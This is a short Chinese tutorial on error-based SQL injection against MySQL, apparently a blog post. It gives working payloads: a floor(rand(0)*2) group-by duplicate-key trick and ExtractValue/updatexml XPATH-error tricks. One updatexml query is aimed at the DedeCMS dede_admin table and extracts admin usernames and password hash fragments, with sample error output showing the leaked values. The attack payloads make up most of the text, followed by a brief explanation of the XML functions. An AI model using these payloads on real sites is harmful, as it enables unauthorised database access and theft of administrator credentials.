在很多的情况 下我们不能直接方便的进行注入,于是有了BENCHMARK延迟注射;
如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误,php中是调用mysql_error(),其他脚本可能有自己的函数),现在又有了更方便的方法。
网上流传了两三种方法:
=========================================================================
第一种略,略过了,低版本mysql适用
http://hi.baidu.com/toby57/blog/item/26416060c1d92c48eaf8f839.html
=========================================================================
第二种:
SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT ‘x’))a from information_schema.tables group by a)b;
ERROR 1062 (23000): Duplicate entry ’1x’ for key ‘group_key’
这种方法对MySQL版本没什么要求,但只能爆出64字节的数据,用这种方法遇到大数据只能MID慢慢来了。
(select 1 from (select count(*),concat((+++),floor(rand(0)*2))x from information_schema.tables group by x)k)
=========================================================================
第三种:
通过对ExtractValue和updataxml函数传递不合XPATH语法规则的参数来爆出数据。(只针对MySQL 5.1++,低于5.1的无此函数)
SELECT 1 AND ExtractValue(1, CONCAT(0x5c,(SELECT @@VERSION)))
ERROR 1105 (HY000): XPATH syntax error: ‘\5.1.40-community’
SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1);
ERROR 1105 (HY000): XPATH syntax error: ‘[admin:7a57a5a743894a0e]‘
updatexml(1,CONCAT(0x5c,(SELECT @@VERSION)),1);
比上一种方法方便简洁,不过这方法只能爆出32字节的数据。同样,大数据只能Mid了。
百度一下这两个函数:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)。
作用:从目标XML中返回包含所查询值的字符串
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值